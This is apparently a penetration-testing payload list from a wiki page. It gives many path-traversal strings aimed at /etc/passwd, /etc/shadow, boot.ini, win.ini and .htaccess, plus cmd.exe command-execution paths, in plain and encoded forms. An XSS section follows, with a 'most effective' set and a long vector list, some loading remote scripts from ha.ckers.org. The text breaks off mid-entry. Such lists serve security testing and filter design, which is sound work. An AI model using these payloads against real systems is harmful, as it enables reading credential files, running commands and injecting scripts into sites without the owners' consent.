\..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; 